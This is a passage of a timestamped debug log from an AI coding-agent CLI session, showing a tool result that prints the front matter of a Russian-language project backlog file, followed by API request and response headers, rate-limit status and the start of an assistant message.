`CHANGELOG.md` \u0438 \u0441\u0430\u043c\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439\\n\u0430\u0440\u0445\u0438\u0432\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0415\u0441\u043b\u0438 \u0444\u0430\u043a\u0442\u0430 \u043d\u0435\u0442 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 issue, PR, \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u0438\u043b\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0431\u044d\u043a\u043b\u043e\u0433\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n\u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `null`. \u0421\u043f\u0440\u0438\u043d\u0442\u044b \u043d\u0438\u0436\u0435 \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c, \u0430 \u043d\u0435\",\n[2026-09-29T07:43:54.421Z] [INFO]         \"is_error\": false\n[2026-09-29T07:43:54.421Z] [INFO]       }\n[2026-09-29T07:43:54.421Z] [INFO]     ]\n[2026-09-29T07:43:54.421Z] [INFO]   },\n[2026-09-29T07:43:54.421Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:54.421Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:54.421Z] [INFO]   \"uuid\": \"ca5473e4-5383-4e7d-86e8-fe91647efe51\",\n[2026-09-29T07:43:54.421Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:54.412Z\",\n[2026-09-29T07:43:54.421Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:43:54.421Z] [INFO]     \"stdout\": \"---\\n\\n---\\nstatus: canonical\\nversion: 1.68\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: backlog\\ncontext: [governance, backlog, active-sprints, pr-ops, synchronization]\\nmethod: creative-analysis + dependency-mapping\\nscope: repo-wide\\nrelated_artifacts:\\n  - \\\"ops/backlog-instruction.md\\\"\\n  - \\\"ops/artifact-map.md\\\"\\n  - \\\"ops/repo-model.md\\\"\\n  - \\\"standards/glossary.md\\\"\\n  - \\\"standards/audit-standard.md\\\"\\n  - \\\"docs/analysis/2026-06-30-backlog-and-artifact-change-policy-analysis.md\\\"\\n  - \\\"docs/analysis/2026-07-04-kb-runs-hub-applicability-analysis.md\\\"\\n  - \\\"docs/adr/2026-07-adr-007-hub-root-structure.md\\\"\\n  - \\\"docs/adr/2026-07-adr-008-standard-meta-structure.md\\\"\\n  - \\\"standards/standard-meta-structure.md\\\"\\n  - \\\"docs/audit/2026-07-04-cross-standard-stress-tests.md\\\"\\n  - \\\"research/hub/2026-07-04-hub-as-agent-system-global-analysis.md\\\"\\n  - \\\"docs/rfc/2026-08-06-rfc-task-statement-architecture.md\\\"\\n  - \\\"docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md\\\"\\n  - \\\"research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-artifact-pipeline-roadmap-541/README.md\\\"\\n  - \\\"research/ba-requirements/normalization/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/methodology-unification/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md\\\"\\n  - \\\"research/hub/2026-07-31-ops-task-strategy-validation.md\\\"\\n  - \\\"tools/test-post-migration-validator.sh\\\"\\n  - \\\"LICENSE\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/580\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/396\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/392\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/297\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/294\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/296\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/328\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/370\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/374\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/376\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/380\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/386\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/390\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/394\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/398\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/400\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/402\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/411\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/413\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/419\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/417\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/427\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/434\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/423\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/436\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/437\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/449\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/475\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/511\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/515\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/555\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/575\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583\\\"\\n---\\n\\n# BACKLOG - \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u043f\u0440\u0438\u043d\u0442\u044b \u0425\u0430\u0431\u0430\\n\\n\u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0438\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a.\\n\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432\\n[backlog-instruction.md](backlog-instruction.md).\\n\\n\u0417\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u043f\u043e\u0441\u043b\u0435 \u0430\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u0438 \u0441\u043f\u0440\u0438\u043d\u0442\u0430.\\n\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 GitHub Issues/PR, `CHANGELOG.md` \u0438 \u0441\u0430\u043c\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439\\n\u0430\u0440\u0445\u0438\u0432\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0415\u0441\u043b\u0438 \u0444\u0430\u043a\u0442\u0430 \u043d\u0435\u0442 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 issue, PR, \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u0438\u043b\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0431\u044d\u043a\u043b\u043e\u0433\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n\u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `null`. \u0421\u043f\u0440\u0438\u043d\u0442\u044b \u043d\u0438\u0436\u0435 \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c, \u0430 \u043d\u0435\",\n[2026-09-29T07:43:54.421Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:43:54.421Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:43:54.421Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:43:54.421Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:43:54.421Z] [INFO]   }\n[2026-09-29T07:43:54.421Z] [INFO] }\n[2026-09-29T07:43:54.451Z] [STDOUT] [log_9d0f26] sending request {\n[2026-09-29T07:43:54.455Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:54.459Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:54.464Z] [STDOUT]   options: {\n[2026-09-29T07:43:54.466Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:54.468Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:43:54.471Z] [STDOUT]     body: {\n[2026-09-29T07:43:54.473Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:54.477Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:54.479Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:54.482Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:54.485Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:54.487Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:54.490Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:54.492Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:54.494Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:54.498Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:54.501Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:54.504Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:54.509Z] [STDOUT]     },\n[2026-09-29T07:43:54.511Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:54.514Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:54.517Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:54.520Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:54.524Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:54.527Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:54.530Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:54.533Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:43:54.537Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:43:54.540Z] [STDOUT]     },\n[2026-09-29T07:43:54.544Z] [STDOUT]     stream: true,\n[2026-09-29T07:43:54.548Z] [STDOUT]   },\n[2026-09-29T07:43:54.551Z] [STDOUT]   headers: {\n[2026-09-29T07:43:54.555Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:43:54.561Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:43:54.564Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:43:54.567Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:43:54.569Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:43:54.571Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:43:54.574Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:43:54.577Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:43:54.580Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:43:54.582Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1050\",\n[2026-09-29T07:43:54.586Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:43:54.588Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:43:54.592Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:54.595Z] [STDOUT]     \"x-client-request-id\": \"412d1668-c099-4227-a3bc-c4afd2702a0e\",\n[2026-09-29T07:43:54.599Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:43:54.602Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:43:54.604Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:43:54.607Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:43:54.611Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:43:54.613Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:43:54.615Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:43:54.617Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:43:54.618Z] [STDOUT]   },\n[2026-09-29T07:43:54.621Z] [STDOUT] }\n[2026-09-29T07:43:55.278Z] [STDOUT] [log_9d0f26, request-id: \"req_011CfXMe6hPqJYtb1ijCgy6A\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 825ms\n[2026-09-29T07:43:55.287Z] [STDOUT] [log_9d0f26] response start {\n[2026-09-29T07:43:55.306Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:55.311Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:55.319Z] [STDOUT]   headers: {\n[2026-09-29T07:43:55.325Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:55.333Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:55.342Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:55.346Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:55.348Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:55.352Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:55.355Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:55.358Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:55.361Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:55.364Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:55.367Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:55.369Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:55.376Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:55.379Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:55.386Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:55.395Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:55.406Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:55.412Z] [STDOUT]     \"cf-ray\": \"a4295c0d5fc04d8b-FRA\",\n[2026-09-29T07:43:55.418Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:43:55.426Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:55.432Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:55.436Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:55.445Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:43:55 GMT\",\n[2026-09-29T07:43:55.452Z] [STDOUT]     \"request-id\": \"req_011CfXMe6hPqJYtb1ijCgy6A\",\n[2026-09-29T07:43:55.457Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:43:55.461Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:55.464Z] [STDOUT]     traceresponse: \"00-7ce08a8c361922fba33b322b0b6d316e-30f57ad2184c3383-01\",\n[2026-09-29T07:43:55.469Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:55.481Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:43:55.488Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:55.492Z] [STDOUT]   },\n[2026-09-29T07:43:55.495Z] [STDOUT]   durationMs: 825,\n[2026-09-29T07:43:55.504Z] [STDOUT] }\n[2026-09-29T07:43:55.509Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:43:55.519Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:43:55 GMT\",\n[2026-09-29T07:43:55.537Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:55.542Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:55.549Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:43:55.558Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:55.564Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:55.567Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:55.572Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:43:55.580Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:55.589Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:55.595Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:55.599Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:55.601Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:55.604Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:55.606Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:55.608Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:55.612Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:55.616Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:55.619Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:55.621Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:55.625Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:55.630Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:55.634Z] [STDOUT]   \"request-id\": \"req_011CfXMe6hPqJYtb1ijCgy6A\",\n[2026-09-29T07:43:55.637Z] [STDOUT]   \"traceresponse\": \"00-7ce08a8c361922fba33b322b0b6d316e-30f57ad2184c3383-01\",\n[2026-09-29T07:43:55.640Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:55.646Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:55.649Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:43:55.654Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:55.657Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:55.662Z] [STDOUT]   \"cf-ray\": \"a4295c0d5fc04d8b-FRA\",\n[2026-09-29T07:43:55.668Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:43:55.672Z] [STDOUT] [log_9d0f26] response parsed {\n[2026-09-29T07:43:55.678Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:55.685Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:55.689Z] [STDOUT]   body: X {\n[2026-09-29T07:43:55.692Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:43:55.695Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:43:55.699Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:43:55.701Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:43:55.703Z] [STDOUT]     },\n[2026-09-29T07:43:55.707Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:43:55.709Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:43:55.712Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:43:55.716Z] [STDOUT]   },\n[2026-09-29T07:43:55.721Z] [STDOUT]   durationMs: 829,\n[2026-09-29T07:43:55.726Z] [STDOUT] }\n[2026-09-29T07:43:55.804Z] [INFO] {\n[2026-09-29T07:43:55.804Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:55.804Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:43:55.804Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:43:55.804Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:43:55.804Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:55.804Z] [INFO]   \"uuid\": \"2d54e5db-47a5-491b-ac5a-a40a6573f0e3\"\n[2026-09-29T07:43:55.804Z] [INFO] }\n[2026-09-29T07:43:56.810Z] [INFO] {\n[2026-09-29T07:43:56.810Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:56.810Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:43:56.810Z] [INFO]   \"estimated_tokens\": 232,\n[2026-09-29T07:43:56.810Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:43:56.810Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:56.810Z] [INFO]   \"uuid\": \"8548b11b-9e08-4e61-9363-11939d1ba091\"\n[2026-09-29T07:43:56.810Z] [INFO] }\n[2026-09-29T07:43:56.816Z] [INFO] {\n[2026-09-29T07:43:56.816Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:56.816Z] [INFO]   \"message\": {\n[2026-09-29T07:43:56.816Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:56.816Z] [INFO]     \"id\": \"msg_011CfXMe7GdqEfJTVou46NDH\",\n[2026-09-29T07:43:56.816Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:43:56.816Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:43:56.816Z] [INFO]     \"content\": [\n[2026-09-29T07:43:56.816Z] [INFO]       {\n[2026-09-29T07:43:56.816Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:43:56.816Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:43:56.816Z] [INFO]         \"signature\": \"CAQSmAcKEAgSGAI4AUIIdGhpbmtpbmcSDA9PtctZXah71sW7rBoMpy3NH6Oujp7rrKtrIjACnyrFzU3gqeIOzKkLzC3si1pcmpjVSb85WODMcTuhl7LT5Et0GyuZ1ZiSVb65q68qtQY4rF4tUz8ur73Mz86Fhs5O0JIIpEpnxY84UGO9l+fGCDpU0dcNsHpYmWgOLwiVqIq47DXvPKn5vmD7jMTabcXF8mXRxgVD+LWgtuDIWF5dZ8NyQ37j/1AKnEm7wL9X7aqeDcmH7k1Q6RO0+nVFMzwLsUOrR54brvvh2PWNy/oXL1EjJKvzIvVJOhIHVgWCeyBuewM3YYRvvMOTkSdwZ3YwBq4nvPLMpcRpLQbwQhM8kSG4hYkj++B75LlkdxFFb1vMhDtynjhXZLJ8+VRh/F+oaALTanu807qik7gsy1EZQW5phMcY+omguVPBtOMSnNq19n9GhSh2ZrHWs9gSt8MXfiOne5OL89yrQ4fJx3IL3LFctZ9sFud6TAiEh7A9Ue7RghIIa5/1o+9s4KT6hjyrjPhUIpxE7tMMSPRuQ4n3zIIAqAYpaj17c5rNTbexiSF9jRZ62PBl2iUu5PA59ntKbu8dslLFdaq+uM7UQ0DJoS+B6HaQsSkLiMfMAOzeD6SL+l3ZLSfS6JmoH2weYM3Sulm2xaGj0pCKVickSXnKSDHNU35NoM1O/OHo+3Khzh9smQEQ7LiozZnCpZKEPf+t1y3IOnEuHGqLwYMCuVsg/A7zrzCvZRDD3/lW4oTIbfQR2NBeBPqaEao4pOzofC9IuE7Drw0QB8KtdtfayJU7Cox7DC5RVMw1d7cCEkevSTVF+rly9L8mxERveDf4Zut66sekQMbhZOGY3oZlLWoaTdneWYXIE2Db37sC2bBMJrKGjmG61AyGar9nLpBRrNxvFCwR/wu89mTPv6RQm30fFUMV+Njij/8rTt8Z+pkcKvPPr61h2cSnRJdrcTzrss+1cmpr1p9v0D9M79AJPW9O0LAr1cPZzvYuRA+WaNFK0NfoiwKScGevW2j5WUYAGWhscaez5y5H7WR2BWOAP8t9k6Fh5+yTA25KFYTv1+we32QC/4Ne8ss/wvblCxPs0HC9l2bdIYZ3jz3tZ6qAOGUy7ldukW4SBhLm30hXee2LeBCEQ2HosaBS/YwHmmokEYo/Pjc2BbIy7J+rQba1dQGrX2esecZHvutZjvctc5MJcDU2tdp6pxgB\"\n[2026-09-29T07:43:56.816Z] [INFO]       }\n[2026-09-29T07:43:56.816Z] [INFO]     ],\n[2026-09-29T07:43:56.816Z] [INFO]     \"container\": null,\n[2026-09-29T07:43:56.816Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:43:56.816Z] [INFO]     